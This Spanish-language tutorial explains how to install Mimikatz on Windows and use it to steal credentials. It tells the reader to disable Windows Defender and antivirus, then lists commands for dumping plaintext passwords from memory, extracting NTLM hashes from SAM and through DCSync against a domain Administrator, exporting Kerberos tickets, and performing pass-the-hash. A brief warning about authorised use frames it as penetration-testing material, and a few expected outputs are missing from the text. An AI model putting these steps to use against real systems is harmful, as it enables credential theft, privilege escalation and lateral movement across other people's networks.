Cómo instalar y usar Mimikatz en Windows OS

Introducción

Mimikatz es una poderosa herramienta de post-explotación diseñada para extraer contraseñas en texto plano, hashes, códigos PIN y tickets de Kerberos de la memoria. Es ampliamente utilizada por testers de penetración y profesionales de seguridad para evaluar vulnerabilidades del sistema. Esta guía proporciona un enfoque paso a paso para instalar y usar Mimikatz para pruebas de seguridad éticas.

Advertencia: El uso no autorizado de Mimikatz es ilegal. Asegúrate de tener permiso antes de usarlo en cualquier entorno.

Requisitos previos

Antes de instalar Mimikatz, asegúrate de tener lo siguiente:

• Una máquina Windows (Windows 7, 10, 11, o versiones Server)
• Privilegios administrativos
• Windows Defender y cualquier software antivirus deshabilitados (Mimikatz a menudo se marca como malware)

Descargando Mimikatz

Mimikatz es una herramienta de código abierto disponible en GitHub. Para descargarla:

1. Abre un navegador web y ve a https://github.com/gentilkiwi/mimikatz.
2. Haz clic en Code > Download ZIP.
3. Extrae el archivo ZIP en una carpeta de tu elección.

Alternativamente, puedes clonar el repositorio usando Git:

 git clone https://github.com/gentilkiwi/mimikatz.git

Ejecutando Mimikatz

Dado que Mimikatz requiere privilegios administrativos, sigue estos pasos para ejecutarlo:

1. Abre Command Prompt o PowerShell como Administrador.
2. Navega a la carpeta donde extrajiste Mimikatz:

   cd pathtomimikatzx64

3. Ejecuta Mimikatz:

   mimikatz.exe

4. Deberías ver una interfaz de línea de comandos con el prompt
   mimikatz #

   .

Comandos básicos de Mimikatz

1. Verificar privilegios del sistema

Antes de extraer credenciales, verifica que tienes privilegios suficientes:

privilege::debug

Si tiene éxito, deberías ver:

2. Extrayendo contraseñas de la memoria

Para volcar contraseñas en texto plano desde la memoria, usa:

sekurlsa::logonpasswords

Esto mostrará el nombre de usuario, el dominio y las contraseñas en texto plano si están disponibles.

3. Volcado de hashes NTLM

Los hashes NTLM pueden usarse para ataques pass-the-hash. Para extraerlos, ejecuta:

lsadump::sam

O, para sistemas remotos:

lsadump::dcsync /domain:targetdomain.com /user:Administrator

4. Extracción de tickets de Kerberos

Para recuperar tickets de Kerberos del sistema:

sekurlsa::tickets /export

Esto exporta archivos

, que pueden usarse en ataques pass-the-ticket.

5. Ataque Pass-the-Hash

Para autenticarse con un hash NTLM en lugar de una contraseña:

sekurlsa::pth /user:Administrator /domain:example.com /ntlm:<hash>